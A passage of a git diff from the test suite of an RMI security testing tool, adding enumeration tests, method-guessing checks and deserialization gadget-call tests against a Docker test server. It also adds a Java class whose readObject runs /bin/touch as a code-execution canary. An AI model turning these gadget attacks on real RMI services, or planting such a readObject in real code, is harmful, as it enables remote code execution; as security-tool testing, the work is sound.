[+] --> The server attempted to parse the provided codebase (useCodebaseOnly=false). + [+] Configuration Status: Non Default + + - contains: + description: |- + 'Check whether localhost bypass vulnerability is detected.' + ignore_case: True + values: + - |- + [+] RMI registry localhost bypass enumeration (CVE-2019-2684): + [+] + [+] - Registry rejected unbind call cause it was not send from localhost. + [+] Vulnerability Status: Non Vulnerable + + - contains: + description: |- + 'Check whether DGC enumeration is working.' + ignore_case: True + values: + - |- + [+] RMI Security Manager enumeration: + [+] + [+] - Security Manager rejected access to the class loader. + [+] --> The server does use a Security Manager. + [+] Configuration Status: Current Default + + - contains: + description: |- + 'Check whether JEP290 enumeration is working.' + ignore_case: True + values: + - |- + [+] RMI server JEP290 enumeration: + [+] + [+] - DGC rejected deserialization of java.util.HashMap (JEP290 is installed). + [+] Vulnerability Status: Non Vulnerable + + - contains: + description: |- + 'Check whether JEP290 Bypass enumeration is working.' + ignore_case: True + values: + - |- + [+] RMI registry JEP290 bypass enmeration: + [+] + [+] - Caught IllegalArgumentException after sending An Trinh gadget. + [+] Vulnerability Status: Vulnerable + + - contains: + description: |- + 'Check whether Activator enumeration is working.' + ignore_case: True + values: + - |- + [+] RMI ActivationSystem enumeration: + [+] + [+] - Caught IllegalArgumentException during activate call (activator is present). + [+] --> Deserialization allowed - Vulnerability Status: Vulnerable + [+] --> Client codebase enabled - Configuration Status: Non Default + + + - title: 'Activation Server Enumeration (--activate)' + command: + - rmg + - enum + - ${TARGET-ACT} + - --activate + - ${OPTIONS} + + validators: + - error: False + + - contains: + description: |- + 'Check whether all registered bound names are detected.' + ignore_case: True + values: + - 'activation-test' + - 'de.qtc.rmg.server.activation.IActivationService (unknown class)' + - 'Activator: iinsecure.dev:1098 ActivationID:' + - 'activation-test2' + - 'de.qtc.rmg.server.activation.IActivationService2 (unknown class)' + - 'Activator: iinsecure.dev:1098 ActivationID:' + - 'plain-server' + - 'de.qtc.rmg.server.interfaces.IPlainServer (unknown class)' + - 'java.rmi.activation.ActivationSystem' + - 'sun.rmi.server.Activation$ActivationSystemImpl_Stub (known class: RMI Activation System)' + - 'TLS: yes ObjID:' + + - contains: + description: |- + 'Check whether all exposed codebase values are detected.' + ignore_case: True + values: + - 'http://iinsecure.dev/well-hidden-development-folder/' + - 'file:/opt/example-server.jar' + + - contains: + description: |- + 'Check whether string marshalling behavior is correctly detected.' + ignore_case: True + values: + - |- + [+] RMI server String unmarshalling enumeration: + [+] + [+] - Caught ClassNotFoundException during lookup call. + [+] --> The type java.lang.String is unmarshalled via readObject(). + [+] Configuration Status: Outdated + + - contains: + description: |- + 'Check whether the useCodebaseOnly settings is correctly detected.' + ignore_case: True + values: + - |- + [+] RMI server useCodebaseOnly enumeration: + [+] + [+] - Caught MalformedURLException during lookup call. + [+] --> The server attempted to parse the provided codebase (useCodebaseOnly=false). + [+] Configuration Status: Non Default + + - contains: + description: |- + 'Check whether localhost bypass vulnerability is detected.' + ignore_case: True + values: + - |- + [+] RMI registry localhost bypass enumeration (CVE-2019-2684): + [+] + [+] - Registry rejected unbind call cause it was not send from localhost. + [+] Vulnerability Status: Non Vulnerable + + - contains: + description: |- + 'Check whether DGC enumeration is working.' + ignore_case: True + values: + - |- + [+] RMI Security Manager enumeration: + [+] + [+] - Security Manager rejected access to the class loader. + [+] --> The server does use a Security Manager. + [+] Configuration Status: Current Default + + - contains: + description: |- + 'Check whether JEP290 enumeration is working.' + ignore_case: True + values: + - |- + [+] RMI server JEP290 enumeration: + [+] + [+] - DGC rejected deserialization of java.util.HashMap (JEP290 is installed). + [+] Vulnerability Status: Non Vulnerable + + - contains: + description: |- + 'Check whether JEP290 Bypass enumeration is working.' + ignore_case: True + values: + - |- + [+] RMI registry JEP290 bypass enmeration: + [+] + [+] - Caught IllegalArgumentException after sending An Trinh gadget. + [+] Vulnerability Status: Vulnerable + + - contains: + description: |- + 'Check whether Activator enumeration is working.' + ignore_case: True + values: + - |- + [+] RMI ActivationSystem enumeration: + [+] + [+] - Caught IllegalArgumentException during activate call (activator is present). + [+] --> Deserialization allowed - Vulnerability Status: Vulnerable + [+] --> Client codebase enabled - Configuration Status: Non Default diff --git a/tests/jdk9/tests/guess.yml b/tests/jdk9/tests/guess.yml index feb7c787..ec5d9b10 100644 --- a/tests/jdk9/tests/guess.yml +++ b/tests/jdk9/tests/guess.yml @@ -150,3 +150,41 @@ tests: - void updatePreferences(java.util.ArrayList dummy1) - void logMessage(int dummy1, Object dummy2) - String login(java.util.HashMap dummy1) + + + - title: Activatable Guess + description: |- + 'Performs method guessing on the registry opened by the acivation system.' + command: + - rmg + - guess + - ${TARGET-ACT} + - --verbose + - ${OPTIONS} + + validators: + - error: False + - contains: + values: + - 'You can use --follow to prevent this.' + - 'Methods that take zero arguments are ignored by default. Use --zero-args to guess them' + - 'Ignoring zero argument method: java.lang.String getStatus()' + - 'The following bound names use a known remote object class' + - 'You can use --force-guessing to guess methods anyway' + - 'String execute(String dummy)' + - 'String system(String dummy, String[] dummy2)' + - 'void logMessage(int dummy1, Object dummy2)' + - 'String login(java.util.HashMap dummy1)' + - 'void updatePreferences(java.util.ArrayList dummy1)' + - 'String system(String dummy, String[] dummy2)' + - 'String execute(String dummy)' + - 'java.rmi.activation.ActivationID registerObject(java.rmi.activation.ActivationDesc arg)' + - 'void unregisterObject(java.rmi.activation.ActivationID arg)' + - 'java.rmi.activation.ActivationGroupID registerGroup(java.rmi.activation.ActivationGroupDesc arg)' + - 'java.rmi.activation.ActivationMonitor activeGroup(java.rmi.activation.ActivationGroupID arg, java.rmi.activation.ActivationInstantiator arg, long arg)' + - 'void unregisterGroup(java.rmi.activation.ActivationGroupID arg)' + - 'void shutdown()' + - 'java.rmi.activation.ActivationDesc setActivationDesc(java.rmi.activation.ActivationID arg, java.rmi.activation.ActivationDesc arg)' + - 'java.rmi.activation.ActivationGroupDesc setActivationGroupDesc(java.rmi.activation.ActivationGroupID arg, java.rmi.activation.ActivationGroupDesc arg)' + - 'java.rmi.activation.ActivationDesc getActivationDesc(java.rmi.activation.ActivationID arg)' + - 'java.rmi.activation.ActivationGroupDesc getActivationGroupDesc(java.rmi.activation.ActivationGroupID arg)' diff --git a/tests/jdk9/tests/method.yml b/tests/jdk9/tests/method.yml index c3081037..627c3e1f 100644 --- a/tests/jdk9/tests/method.yml +++ b/tests/jdk9/tests/method.yml @@ -38,7 +38,7 @@ tests: - rmg - serial - ${TARGET} - - CommonsCollections6 + - CommonsCollections6 - 'touch ${volume-d}/${file}' - --signature - 'String system(String dummy, String[] dummy2)' @@ -72,7 +72,7 @@ tests: - rmg - serial - ${TARGET} - - CommonsCollections6 + - CommonsCollections6 - 'touch ${volume-d}/${file}' - --signature - 'void releaseRecord(int recordID, String tableName, Integer remoteHashCode)' @@ -94,6 +94,39 @@ tests: - '${volume}/${file}' + - title: Gadget Call (Activatable) + description: |- + 'Performs a deserialization attack on the updatePreferences function of the' + 'activation-test2 object.' + groups: + - ysoserial + + command: + - rmg + - serial + - ${TARGET-ACT} + - CommonsCollections6 + - 'touch ${volume-d}/${file}' + - --signature + - 'void updatePreferences(java.util.ArrayList dummy1)' + - --bound-name + - activation-test2 + - ${OPTIONS} + + validators: + - error: False + - contains: + values: + - java.util.ArrayList + - Caught ClassNotFoundException + - deserialize canary + - probably worked + - file_exists: + cleanup: True + files: + - '${volume}/${file}' + + - title: Plugin Call description: |- 'Uses a plugin as payload provider that returns the string that was specified' diff --git a/tests/jdk9/tests/reg.yml b/tests/jdk9/tests/reg.yml index 4287ddf3..1a78d760 100644 --- a/tests/jdk9/tests/reg.yml +++ b/tests/jdk9/tests/reg.yml @@ -80,6 +80,31 @@ tests: - The supplied gadget did not pass the deserialization filter + - title: Gadget Call (Activation) + description: |- + 'Attempts a deserialization attack on the registry endpoint.' + 'This should fail, as the server has JEP290 installed.' + groups: + - ysoserial + + command: + - rmg + - serial + - ${TARGET-ACT} + - CommonsCollections6 + - 'touch ${volume-d}/${file}' + - --component + - reg + - ${OPTIONS} + + validators: + - error: False + - contains: + values: + - Registry rejected deserialization + - The supplied gadget did not pass the deserialization filter + + - title: JEP290 Bypass description: |- 'Attempts a deserialization attack on the registry endpoint,' diff --git a/tests/tricot.yml b/tests/tricot.yml index c6a9e470..4792bd61 100644 --- a/tests/tricot.yml +++ b/tests/tricot.yml @@ -18,7 +18,7 @@ tester: ge: 1.9.0 variables: - rmg: rmg-4.2.2-jar-with-dependencies.jar + rmg: rmg-4.3.0-jar-with-dependencies.jar volume: /tmp/rmg-tricot-test/ volume-d: /rce/ codebase-class: CodebaseTest @@ -29,6 +29,9 @@ variables: - ${DOCKER-IP} - 1090 - --ssl + TARGET-ACT: + - ${DOCKER-IP} + - 1098 OPTIONS: - --no-color @@ -46,6 +49,7 @@ plugins: - utils/CodebaseTest2.class - utils/CodebaseTest3.class - utils/CodebaseTest4.class + - utils/CodebaseTest5.class - utils/PluginTest.jar diff --git a/tests/utils/CodebaseTest5.java b/tests/utils/CodebaseTest5.java new file mode 100644 index 00000000..57e5b098 --- /dev/null +++ b/tests/utils/CodebaseTest5.java @@ -0,0 +1,17 @@ +import java.io.Serializable; +import java.io.ObjectInputStream; +import java.rmi.server.RemoteObject; + +public class CodebaseTest5 extends RemoteObject implements Serializable +{ + private static String cmd = "/bin/touch"; + private static final long serialVersionUID = 2L; + + private void readObject(ObjectInputStream aInputStream) throws ClassNotFoundException, Exception + { + String fileName = "/rce/" + getClass().getName() + ".txt"; + Process p = new ProcessBuilder(cmd, fileName).start(); + p.waitFor(); + p.destroy(); + } +}